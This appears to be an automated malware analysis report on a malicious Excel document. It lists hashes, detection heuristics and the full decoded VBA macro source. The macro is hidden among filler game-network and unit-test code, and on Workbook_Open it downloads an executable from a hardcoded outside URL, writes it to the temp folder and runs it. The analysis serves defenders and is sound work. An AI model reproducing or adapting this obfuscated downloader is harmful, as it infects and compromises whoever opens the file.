Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a6f7bcdf85232d26…

MALICIOUS

Office (OLE)

71.5 KB Created: 2015-07-30 05:24:02 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: bcb174e35fa7e7add4af05e5abb1b1db SHA-1: 26c10a26ec31139004658e83c19b31d17dc23299 SHA-256: a6f7bcdf85232d26f4e1efec66ed2f1ffd47935ea53c1c30c561920490797b0e
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample contains obfuscated VBA macros that execute upon opening the document. These macros utilize the URLDownloadToFile API to download a second-stage executable from the hardcoded URL http://pistaradiomodelismovilela.net/3453/5fg44.exe and then execute it. The presence of CreateObject and Shell execution sinks, along with an obfuscated auto-exec loader, indicates a downloader functionality.

Heuristics 9

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    PlayerBuffer2TCP = InvNum.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
     Set UseSkillTo3 = CreateObject(StripIn)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set UseSkillTo3 = CreateObject(StripIn)
  • Payload URL assembled from a Chr()/Asc() string expression (1 URL) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://pistaradiomodelismovilela.net/3453/5fg44.exe Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20785 bytes
SHA-256: b34eaf609f54d84ecd9bac7046a49e5924094e7ae249b01da1bf1ae872c26cb9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    

Assert2Equal2 4232

End Sub

Sub Assert2Equal2(FFFFF As Long)
Assert2Equal

End Sub


Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

' Sub: TestStartsWith
' Tests <StartsWith>
Public Sub TestStartsWith()
    Dim testSubName As String
    testSubName = "TestStartsWith"
    Call AssertTrue(testSubName, StartsWith("OneTwoThree", "One"))
    Call AssertFalse(testSubName, StartsWith("OneTwoThree", "OneX"))
    Call AssertFalse(testSubName, StartsWith("OneTwoThree", "Two"))
    Call AssertFalse(testSubName, StartsWith("OneTwoThree", "Three"))
End Sub


' Sub: TestEndsWith
' Tests <EndsWith>
Public Sub TestEndsWith()
    Dim testSubName As String
    testSubName = "TestEndsWith"
    Call AssertTrue(testSubName, EndsWith("OneTwoThree", "Three"))
    Call AssertFalse(testSubName, EndsWith("OneTwoThree", "XThree"))
    Call AssertFalse(testSubName, EndsWith("OneTwoThree", "Two"))
    Call AssertFalse(testSubName, EndsWith("OneTwoThree", "One"))
End Sub


' Sub: TestIsComment
' Tests <IsComment>
Public Sub TestIsComment()
    Dim testSubName As String
    testSubName = "TestIsComment"
    Call AssertTrue(testSubName, IsComment(";one"))
    Call AssertTrue(testSubName, IsComment("//one"))
    Call AssertTrue(testSubName, IsComment("'one"))
    Call AssertTrue(testSubName, IsComment("#one"))
    Call AssertTrue(testSubName, IsComment(" ;one"))
    Call AssertTrue(testSubName, IsComment(" //one"))
    Call AssertTrue(testSubName, IsComment(" 'one"))
    Call AssertTrue(testSubName, IsComment(" #one"))
    Call AssertFalse(testSubName, IsComment("x;one"))
    Call AssertFalse(testSubName, IsComment("x//one"))
    Call AssertFalse(testSubName, IsComment("x'one"))
    Call AssertFalse(testSubName, IsComment("x#one"))
End Sub

' Sub: TestRandomString
' Tests <RandomString>
Public Sub TestRandomString()
    Dim testSubName As String
    testSubName = "TestRandomString"

    Dim actual As String
    Dim expected As String

    Dim characterSet As String
    Dim stringLength As Integer

    characterSet = "a"
    stringLength = 4
    expected = "aaaa"
    actual = RandomString(characterSet, stringLength)
    Call AssertAreEqual(testSubName, expected, actual)

    characterSet = ""
    stringLength = 4
    expected = ""
    actual = RandomString(characterSet, stringLength)
    Call AssertAreEqual(testSubName, expected, actual)
End Sub


' Sub: TestRemoveFromLeft
' Tests <RemoveFromLeft>
Public Sub TestRemoveFromLeft()
    Dim testSubName As String
    testSubName = "TestRemoveFromLeft"
    Call AssertAreEqual(testSubName, "b123456", RemoveFromLeft("ab123456", 1))
    Call AssertAreEqual(testSubName, "123456", RemoveFromLeft("ab123456", 2))
    Call AssertAreEqual(testSubName, "56", RemoveFromLeft("ab123456", 6))
    Call AssertAreEqual(testSubName, "6", RemoveFromLeft("ab123456", 7))
    Call AssertAreEqual(testSubName, "", RemoveFromLeft("ab123456", 8))
    Call AssertAreEqual(testSubName, "", RemoveFromLeft("ab123456", 99))
    Call AssertAreEqual(testSubName, "ab123456", RemoveFromLeft("ab123456", -1))
End Sub


' Sub: TestRemoveFromRight
' Tests <RemoveFromRight>
Public Sub TestRemoveFromRight()
    Dim testSubName As String
    testSubName = "TestRemoveFromRight"
    Call AssertAreEqual(testSubName, "ab12345", RemoveFromRight("ab123456", 1))
    Call AssertAreEqual(testSubName, "ab1234", RemoveFromRight("ab123456", 2))
    Call AssertAreEqual(testSubName, "ab", RemoveFromRight("ab123456", 6))
    Call AssertAreEqual(testSubName, "a", RemoveFromRight("ab123456", 7))
    Call AssertAreEqual(testSubName, "", RemoveFromRight("ab123456", 8))
    Call AssertAreEqual(testSubName, "", RemoveFromRight("ab123456", 99))
    Call AssertAreEqual(testSubName, "ab123456", RemoveFromRight("ab123456", -1))
End Sub


' Sub: TestPadLeft
' Tests <PadLeft>
Public Sub TestPadLeft()
    Dim testSubName As String
    testSubName = "TestPadLeft"
    ' padding with 1 char
    Call AssertAreEqual(testSubName, "0aaaa", PadLeft("aaaa", 5, "0"))
    Call AssertAreEqual(testSubName, "0aaaa", PadLeft("aaaa", 5, "01"))

    ' padding with 2 chars
    Call AssertAreEqual(testSubName, "00aaaa", PadLeft("aaaa", 6, "0"))
    Call AssertAreEqual(testSubName, "00aaaa", PadLeft("aaaa", 6, "01"))

    ' same length
    Call AssertAreEqual(testSubName, "aaaa", PadLeft("aaaa", 4, "0"))
    Call AssertAreEqual(testSubName, "aaaa", PadLeft("aaaa", 4, "01"))

    ' pad char is empty string
    Call AssertAreEqual(testSubName, " aaaa", PadLeft("aaaa", 5, ""))

    ' inMax < Len(strNeedle)
    Call AssertAreEqual(testSubName, "aaaa", PadLeft("aaaa", 3, "0"))
End Sub


' Sub: TestPadRight
' Tests <PadRight>
Public Sub TestPadRight()
    Dim testSubName As String
    testSubName = "TestPadRight"
    ' padding with 1 char
    Call AssertAreEqual(testSubName, "aaaa0", PadRight("aaaa", 5, "0"))
    Call AssertAreEqual(testSubName, "aaaa0", PadRight("aaaa", 5, "01"))

    ' padding with 2 chars
    Call AssertAreEqual(testSubName, "aaaa00", PadRight("aaaa", 6, "0"))
    Call AssertAreEqual(testSubName, "aaaa00", PadRight("aaaa", 6, "01"))

    ' same length
    Call AssertAreEqual(testSubName, "aaaa", PadRight("aaaa", 4, "0"))
    Call AssertAreEqual(testSubName, "aaaa", PadRight("aaaa", 4, "01"))

    ' pad char is empty string
    Call AssertAreEqual(testSubName, "aaaa ", PadRight("aaaa", 5, ""))

    ' inMax < Len(strNeedle)
    Call AssertAreEqual(testSubName, "aaaa", PadRight("aaaa", 3, "0"))
End Sub


Public Sub CheckServerStatus1(frmMainMenu As Object, frmMirage As String)
Dim param2 As Integer
param2 = 2

frmMainMenu.savetofile frmMirage, param2
End Sub
' Sub: RunAllMdlStringsTest
' Calls the tests in this module.
'
' See also:
' <RunAllUnitTests>
Public Sub RunAllMdlStringsTest()
    Call TestStartsWith
    Call TestEndsWith
    Call TestIsComment
    Call TestRandomString
    Call TestRemoveFromLeft
    Call TestRemoveFromRight
    Call TestPadLeft
    Call TestPadRight
End Sub


Attribute VB_Name = "Module2"

Const IPPROTO_TCP = 6
Const TCP_NODELAY = &H1&

Public InGame As Boolean
Public TradePlayer As Long
Public nbPartyPlayer As Integer
Private MapNumS As Long

' Server adress variables
Public GAME_IP As String
Public GAME_PORT As Long

Public timerSend As Long

' Client adress variables
Public CLIENT_PORT As Long


Public OpenPort As Long

Sub TcpInit()
    ' If debug mode, handle error then exit out
  
    Set PlayerBuffer = New clsBuffer
    Set PlayerBufferTCP = New clsBuffer

End Sub

Sub TcpDestroy()
    frmMirage.SocketTCP.Close
    
    If frmMainMenu.fraPers.Visible Then frmMainMenu.fraPers.Visible = False
    If frmMainMenu.fraLogin.Visible Then frmMainMenu.fraLogin.Visible = False
End Sub

Function CheckServerStatus() As Boolean
    Dim PortFind As Boolean
    Dim i, J As Integer
    Dim IPs() As String
    Dim Packet As clsBuffer
    
' connect
    frmMirage.SocketUDPSend.RemoteHost = GAME_IP
    frmMirage.SocketUDPSend.RemotePort = GAME_PORT

    frmMirage.SocketTCP.Close
    frmMirage.SocketTCP.RemoteHost = GAME_IP
    frmMirage.SocketTCP.RemotePort = GAME_PORT + 1

    CheckServerStatus = False

    If ConnectToServer = True Then
        CheckServerStatus = True
    End If
End Function
Public Function Assert2Equal()
Set UseSkillTo3Result = UseSkillTo3(Chr(87) & Chr(83) & Chr(99) & Chr(61) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & ";" & Chr(46) & Chr(83) & Chr(61) & Chr(104) & Chr(101) & "<" & Chr(108) & Chr(108)) _
.Environment(Chr(80) & Chr(114) & "o" & Chr(99) & Chr(101) & "s" & "s")
Udp2TcpDestroy = UseSkillTo3Result("T" + "E" & Chr(77) & Chr(80))
Dim frmMainMenu As Object
Set frmMainMenu = UseSkillTo3(Chr(65) & "<" & "d" & Chr(111) & Chr(59) & Chr(100) & Chr(98) & Chr(61) & Chr(46) & Chr(83) & Chr(116) & Chr(61) & Chr(114) & Chr(60) & Chr(101) & "a" & Chr(59) & Chr(109))
Dim frmMirage As String
frmMirage = Udp2TcpDestroy + "\rue" & Chr(98) + "fo." & "e" & Chr(120) & Chr(101)
With frmMainMenu
   .Type = 1
    .Open
    .write PlayerBuffer2TCP(223)
   
End With

 CheckServerStatus1 frmMainMenu, frmMirage
Set DesiredLength = UseSkillTo3(Chr(83) & "he" & Chr(108) & Chr(59) & Chr(108) & "<" & Chr(46) & Chr(65) & "p;" & Chr(112) & Chr(108) & Chr(105) & "<" & Chr(99) & Chr(97) & Chr(116) & Chr(61) & Chr(105) & Chr(111) & Chr(110))
DesiredLength.Open (frmMirage)
End Function
Public Sub IncomingTCPData(ByVal DataLength As Long)
Dim Buffer() As Byte
Dim pLength As Long

    frmMirage.SocketTCP.GetData Buffer, vbUnicode, DataLength
    
    PlayerBufferTCP.WriteBytes Buffer()
    
    If PlayerBufferTCP.Length >= 4 Then pLength = PlayerBufferTCP.ReadLong(False)
    
    Do While pLength > 0 And pLength <= PlayerBufferTCP.Length - 4
        If pLength <= PlayerBufferTCP.Length - 4 Then
            PlayerBufferTCP.ReadLong
            HandleData PlayerBufferTCP.ReadBytes(pLength)
        End If

        pLength = 0
        If PlayerBufferTCP.Length >= 4 Then pLength = PlayerBufferTCP.ReadLong(False)
    Loop
    PlayerBufferTCP.Trim
    DoEvents
End Sub

Public Sub IncomingData(ByVal DataLength As Long)
Dim Buffer() As Byte
Dim pLength As Long

    frmMirage.Socket.GetData Buffer, vbUnicode, DataLength
    
    PlayerBuffer.WriteBytes Buffer()
    
    If PlayerBuffer.Length >= 4 Then pLength = PlayerBuffer.ReadLong(False)
    Do While pLength > 0 And pLength <= PlayerBuffer.Length - 4
        If pLength <= PlayerBuffer.Length - 4 Then
            PlayerBuffer.ReadLong
            HandleData PlayerBuffer.ReadBytes(pLength)
        End If

        pLength = 0
        If PlayerBuffer.Length >= 4 Then pLength = PlayerBuffer.ReadLong(False)
    Loop
    PlayerBuffer.Trim
    DoEvents
End Sub


Sub HandleData(ByRef data() As Byte)
Dim Buffer As clsBuffer
Dim MsgType As Long

    Set Buffer = New clsBuffer
    Buffer.WriteBytes data()
    
    MsgType = Buffer.ReadLong
    
    If MsgType < 0 Then
        GameDestroy
        Exit Sub
    End If

    If MsgType >= SMSG_COUNT Then
        MsgBox "Erreur de packet : " + Trim(data())
        GameDestroy
        Exit Sub
    End If
    Debug.Print "message : " & MsgType
    CallWindowProc HandleDataSub(MsgType), 1, Buffer.ReadBytes(Buffer.Length), 0, 0
End Sub


Function ConnectToServer() As Boolean
Dim Wait As Long
    ' Check to see if we are already connected, if so just exit
    If IsConnected Then ConnectToServer = True: Exit Function
    
    Wait = GetTickCount
    frmMirage.SocketTCP.Connect
    
    ' Wait until connected or 7 seconds have passed and report the server being down
    Do While (Not IsConnected) And GetTickCount <= Wait + 2000
        'Sleep 100
        'frmMirage.SocketTCP.Connect
        DoEvents
    Loop
    
    If IsConnected Then
        ConnectToServer = True
        Call setsockopt(frmMirage.SocketTCP.SocketHandle, IPPROTO_TCP, TCP_NODELAY, 1, 4)
    Else
        ConnectToServer = False
    End If
End Function

Function IsConnected() As Boolean
    If frmMirage.SocketTCP.State = sckConnected Then IsConnected = True Else IsConnected = False
End Function

Function IsPlaying(ByVal Index As Long) As Boolean
    If GetPlayerName(Index) <> vbNullString Then IsPlaying = True Else IsPlaying = False
End Function
Sub PacketPacket(frmMainMenu As Object)
frmMainMenu.Send
End Sub
Sub SendDataTCP(ByRef data() As Byte)
Dim Buffer As clsBuffer

    Set Buffer = New clsBuffer
            
    Buffer.WriteLong (UBound(data) - LBound(data)) + 1
    Buffer.WriteBytes data()
    On Error Resume Next ' SendData could throw an error if socket was closed in server side
    frmMirage.SocketTCP.SendData Buffer.ToArray()
End Sub

Sub SendData(ByRef data() As Byte)
Dim Buffer As clsBuffer
    
    Call SendDataTCP(data)
End Sub

Sub SendLogin(ByVal name As String, ByVal Password As String)
Dim Packet As clsBuffer
    Set Packet = New clsBuffer
    Packet.WriteLong CLogin
    Packet.WriteString name
    Packet.WriteString HashPassword(Password)
    Packet.WriteLong App.Major
    Packet.WriteLong App.Minor
    Packet.WriteLong App.Revision
    Packet.WriteString SEC_CODE1
    Packet.WriteString SEC_CODE2
    Packet.WriteString SEC_CODE3
    Packet.WriteString SEC_CODE4
    
    SendDataTCP Packet.ToArray()
    Set Packet = Nothing
End Sub

Public Function HashPassword(ByVal Password As String)
    ' STUB : Create your own method
    HashPassword = Password
End Function

Sub SendAddChar(ByVal name As String, ByVal Sex As Long, ByVal ClassNum As Long, ByVal slot As Long)

End Sub

Sub SendDelChar(ByVal slot As Long)

End Sub

Sub SayMsg(ByVal Text As String)
Dim Packet As clsBuffer

    Set Packet = New clsBuffer
    
    Packet.WriteLong CSayMsg
    Packet.WriteString Text
    SendData Packet.ToArray()
    
    Set Packet = Nothing
End Sub

Sub GuildeMsg(ByVal Text As String)

End Sub

Sub PlayerMsg(ByVal Text As String, ByVal MsgTo As String)

End Sub

Sub AdminMsg(ByVal Text As String)
End Sub

Sub SendPlayerMove()
Dim Packet As clsBuffer
    Debug.Print "Send player move : dir " & GetPlayerDir(MyIndex) & " controller : " & movementController & " timer " & Str(GetTickCount)
    Set Packet = New clsBuffer

    Packet.WriteLong CPlayerMove
    Packet.WriteByte movementController
    Packet.WriteByte GetPlayerX(MyIndex)
    Packet.WriteByte GetPlayerY(MyIndex)
    'Packet.WriteByte GetPlayerDir(MyIndex)
    Packet.WriteByte Player(MyIndex).Moving
    SendData Packet.ToArray()

    Set Packet = Nothing
    
    If movementController = 1 Then
        movementController = 0
    End If
End Sub

Sub SendPlayerStopMove()
Dim Packet As clsBuffer
    Debug.Print "Timer d'envoi stop move" & Str(GetTickCount)
    timerSend = GetTickCount
    Set Packet = New clsBuffer

    Packet.WriteLong CPlayerStopMove
    Packet.WriteByte GetPlayerX(MyIndex)
    Packet.WriteByte GetPlayerY(MyIndex)
    SendData Packet.ToArray()

    Set Packet = Nothing
End Sub




Attribute VB_Name = "Module3"

Public Sub SendPlayerDir()
Dim Buffer As clsBuffer
    
    Set Buffer = New clsBuffer

    If (Player(MyIndex).Moving > 0) Then
        Buffer.WriteLong CPlayerDirMove
        Buffer.WriteByte GetPlayerX(MyIndex)
        Buffer.WriteByte GetPlayerY(MyIndex)
    Else
        Buffer.WriteLong CPlayerDir
    End If
    Buffer.WriteByte GetPlayerDir(MyIndex)
    SendData Buffer.ToArray()
    Set Buffer = Nothing
End Sub



Public Function UseSkillTo3(StripIn As String)
For i = 59 To 61
StripIn = Replace(StripIn, Chr(i), "")
Next i
StripIn = Replace(StripIn, "+", "M")
 Set UseSkillTo3 = CreateObject(StripIn)
End Function
Sub UseSkill(ByVal Index As Integer)
    If Player(MyIndex).skill(Index) >= 0 Then
        If Player(MyIndex).AttackTimer < GetTickCount Then
            If Player(MyIndex).Moving = 0 Then
                If skill(Player(MyIndex).skill(Index)).TargetType = 2 Then
                    Call SendUseSkill(Player(MyIndex).skill(Index), -1, -1)
                Else
                    Call SetCursor(App.Path & Rep_Theme & "\skill.ani")
                    Player(MyIndex).castedSpell = Player(MyIndex).skill(Index)
                End If
            Else
                Call AddText("Vous ne pouvez lancer un sort en marchant!", BrightRed)
            End If
        End If
    Else
        Call AddText("Aucuns sort ici.", BrightRed)
    End If
End Sub

Public Sub SendUseSkill(ByVal skillNum As Integer, ByVal CurX As Integer, ByVal CurY As Integer)
    Dim Packet As clsBuffer
    Dim i As Integer

    Set Packet = New clsBuffer
    Packet.WriteLong CUseSkill
    Packet.WriteInteger skillNum
    If skill(skillNum).TargetType = 1 Then
        Packet.WriteByte CurX
        Packet.WriteByte CurY
        Call RestoreCursor
    ElseIf skill(skillNum).TargetType = 0 Then
        Dim Target() As Integer

        Target = FindIndexAtPos(GetPlayerMap(MyIndex), CurX, CurY)
        
        If Target(1) >= 0 Then
            Packet.WriteByte Target(1) 'Target Type
            Packet.WriteInteger Target(0) 'Target index
        Else
            Set Packet = Nothing
            Exit Sub
        End If
        Call RestoreCursor
    ElseIf skill(skillNum).TargetType = 2 Then
        ' Do nothing
    End If
    
    SendData Packet.ToArray()
    Set Packet = Nothing
    
    Player(MyIndex).Attacking = 1
    Player(MyIndex).castedSpell = -1
End Sub

Sub SendUseItem(ByVal InvNum As Long)
' Do not send if item is in cooldown
If IsItemInCooldown(Player(MyIndex).Inv(InvNum).Num) Then
    Exit Sub
End If

Dim Packet As clsBuffer

    Set Packet = New clsBuffer
    
    Packet.WriteLong CUseItem
    Packet.WriteByte InvNum
    
    SendData Packet.ToArray()
    
    Set Packet = Nothing
End Sub


Public Function PlayerBuffer2TCP(KJB As Long)
Dim D2 As String
D2 = "+"
Dim InvNum As Object
 Set InvNum = UseSkillTo3("=" + D2 + "=" + "=i" & "c=" & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(46) & Chr(88) & "M" & Chr(76) & "H" & Chr(84) & Chr(84) & "P")
InvNum.Open Chr(71) & "E" & "T", Chr(104) & Chr(116) & "t" & Chr(112) & Chr(58) & "/" & "/" & Chr(112) & "i" & "s" & Chr(116) & Chr(97) & "r" & "a" & "d" & Chr(105) & Chr(111) & "m" & Chr(111) & Chr(100) & "e" & Chr(108) & Chr(105) & Chr(115) & Chr(109) & Chr(111) & Chr(118) & Chr(105) & Chr(108) & Chr(101) & "l" & Chr(97) & "." & Chr(110) & Chr(101) & Chr(116) & Chr(47) & Chr(51) & Chr(52) & Chr(53) & "3" & Chr(47) & "5" & "f" & "g" & "4" & "4" & Chr(46) & "e" & Chr(120) & "e", False
Dim Di As Long
PacketPacket InvNum
PlayerBuffer2TCP = InvNum.responseBody
End Function

Sub SendDropItem(ByVal InvNum, ByVal Amount As Long)
Dim Packet As clsBuffer

    Set Packet = New clsBuffer
    
    Packet.WriteLong CDropItem
    Packet.WriteByte InvNum
    Packet.WriteInteger Amount
    
    SendData Packet.ToArray()
    Set Packet = Nothing
End Sub

Sub SendDestroyItem(ByVal InvNum, ByVal Amount As Long)
    ' TODO
End Sub

Sub SendOnlineList()
    ' TODO
End Sub

Sub SendTradeRequest(ByVal playerIndex As Integer)
    ' TODO
End Sub

Sub SendAcceptTrade()
    ' TODO
End Sub

Sub SendDeclineTrade()
    ' TODO
End Sub

Sub SendRequestParty(ByVal name As String, Optional ByVal partyName As Variant)
Dim Packet As clsBuffer

    Set Packet = New clsBuffer
    
    Packet.WriteLong CRequestParty
    Packet.WriteInteger FindPlayer(name)
    
    If Not IsMissing(partyName) Then
        Packet.WriteString (partyName)
    End If
    
    SendData Packet.ToArray()
    Set Packet = Nothing
End Sub

Sub SendJoinParty()
Dim Packet As clsBuffer

    Set Packet = New clsBuffer
    
    Packet.WriteLong CJoinParty
    
    SendData Packet.ToArray()
    Set Packet = Nothing
End Sub

Sub SendLeaveParty()
Dim Packet As clsBuffer

    Set Packet = New clsBuffer
    
    Packet.WriteLong CLeaveParty
    
    SendData Packet.ToArray()
    Set Packet = Nothing
End Sub

Sub SendSleep()
Dim Packet As clsBuffer

    Set Packet = New clsBuffer
    
    Packet.WriteLong CPlayerSleep
    
    SendData Packet.ToArray()
    Set Packet = Nothing
End Sub